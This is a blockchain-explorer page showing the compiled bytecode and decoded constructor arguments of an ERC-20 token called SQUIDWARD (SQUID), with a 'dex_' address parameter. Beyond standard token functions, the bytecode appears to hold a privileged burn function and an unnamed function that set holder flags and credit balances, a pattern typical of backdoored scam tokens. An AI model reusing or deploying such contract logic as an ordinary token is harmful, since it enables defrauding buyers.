0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c5780639dc29fac116100665780639dc29fac146101d3578063a9059cbb146101e6578063dd62ed3e146101f9578063fb8bf94d1461023257600080fd5b8063715018a6146101a65780638da5cb5b146101b057806395d89b41146101cb57600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461016a57806370a082311461017d57600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f7610245565b6040516101049190610c23565b60405180910390f35b61012061011b366004610bfa565b6102d7565b6040519015158152602001610104565b6008545b604051908152602001610104565b610120610150366004610b7d565b6102ed565b60075460405160ff9091168152602001610104565b610120610178366004610bfa565b610356565b61013461018b366004610b31565b6001600160a01b031660009081526001602052604090205490565b6101ae61038c565b005b6000546040516001600160a01b039091168152602001610104565b6100f76103f7565b6101ae6101e1366004610bfa565b610406565b6101206101f4366004610bfa565b610516565b610134610207366004610b4b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101ae610240366004610bb8565b610523565b60606005805461025490610ca5565b80601f016020809104026020016040519081016040528092919081815260200182805461028090610ca5565b80156102cd5780601f106102a2576101008083540402835291602001916102cd565b820191906000526020600020905b8154815290600101906020018083116102b057829003601f168201915b5050505050905090565b60006102e433848461065f565b50600192915050565b60006102fa848484610787565b61034c843361034785604051806060016040528060298152602001610d1e602991396001600160a01b038a166000908152600360209081526040808320338452909152902054919061091a565b61065f565b5060019392505050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916102e4918590610347908661064c565b6000546001600160a01b031633146103eb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6103f56000610946565b565b60606006805461025490610ca5565b336001600160a01b03831661044f5760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064016103e2565b600082116104905760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b60448201526064016103e2565b6001600160a01b0380841660008181526004602052604081205490921614156104d8576104bd8282610996565b6104c78382610c76565b90506104d384826109da565b610510565b6104e28282610996565b6001600160a01b0384166000908152600160205260408120805483929061050a908490610c76565b90915550505b50505050565b60006102e4338484610787565b336001600160a01b03841661056c5760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064016103e2565b6001600160a01b0380821660008181526004602052604081205490921614156105ed576001600160a01b0382166000908152600360209081526040808320909152812080548592906105bf908490610c76565b90915550506001600160a01b0385166000908152600260205260409020805460ff1916851515179055610645565b6001600160a01b0380831660009081526003602090815260408083209389168352929052205461061e908290610c76565b6001600160a01b038084166000908152600360209081526040808320938a16835292905220555b5050505050565b60006106588284610c76565b9392505050565b6001600160a01b0383166106c35760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e2565b6001600160a01b0382166107255760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b610792838383610a59565b6001600160a01b0383166107f75760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016103e2565b6001600160a01b0382166108595760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016103e2565b61089681604051806060016040528060278152602001610cf7602791396001600160a01b038616600090815260016020526040902054919061091a565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546108c6908290610c76565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061077a9085815260200190565b6000818484111561093e5760405162461bcd60e51b81526004016103e29190610c23565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166000908152600160205260409020546109ba908290610c8e565b6001600160a01b0390921660009081526001602052604090209190915550565b60008111610a1b5760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b60448201526064016103e2565b60085480821115610a54576001600160a01b03831660009081526001602052604081208054849290610a4e908490610c76565b90915550505b505050565b6000610a82846001600160a01b031660009081526002602052604090205460ff16151560011490565b15610ad2576001600160a01b038416600090815260016020526040902054610aab908290610c76565b6001600160a01b038516600090815260016020526040902055506008546104d38482610996565b6001600160a01b038416600090815260016020526040902054610af6908290610c76565b6001600160a01b03851660009081526001602052604090205550505050565b80356001600160a01b0381168114610b2c57600080fd5b919050565b600060208284031215610b42578081fd5b61065882610b15565b60008060408385031215610b5d578081fd5b610b6683610b15565b9150610b7460208401610b15565b90509250929050565b600080600060608486031215610b91578081fd5b610b9a84610b15565b9250610ba860208501610b15565b9150604084013590509250925092565b600080600060608486031215610bcc578283fd5b610bd584610b15565b925060208401358015158114610be9578283fd5b929592945050506040919091013590565b60008060408385031215610c0c578182fd5b610c1583610b15565b946020939093013593505050565b6000602080835283518082850152825b81811015610c4f57858101830151858201604001528201610c33565b81811115610c605783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c8957610c89610ce0565b500190565b600082821015610ca057610ca0610ce0565b500390565b600181811c90821680610cb957607f821691505b60208210811415610cda57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122092507a8559df0f059e26d6464c87b375bb82fa6978d5b1c165fda55bc992b17364736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000009c4737337fd9f7bf829b639323f8f237259f4ca000000000000000000000000000000000000000000000000000000712e7ae7c710000000000000000000000000000000000000000000000000000000000000009535155494457415244000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055351554944000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): SQUIDWARD
Arg [1] : symbol_ (string): SQUID
Arg [2] : dex_ (address): 0x9C4737337fd9F7bf829b639323F8F237259F4cA0
Arg [3] : totalSupply_ (uint256): 7777777777777

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000009c4737337fd9f7bf829b639323f8f237259f4ca0
Arg [3] : 00000000000000000000000000000000000000000000000000000712e7ae7c71
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [5] : 5351554944574152440000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 5351554944000000000000000000000000000000000000000000000000000000


Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.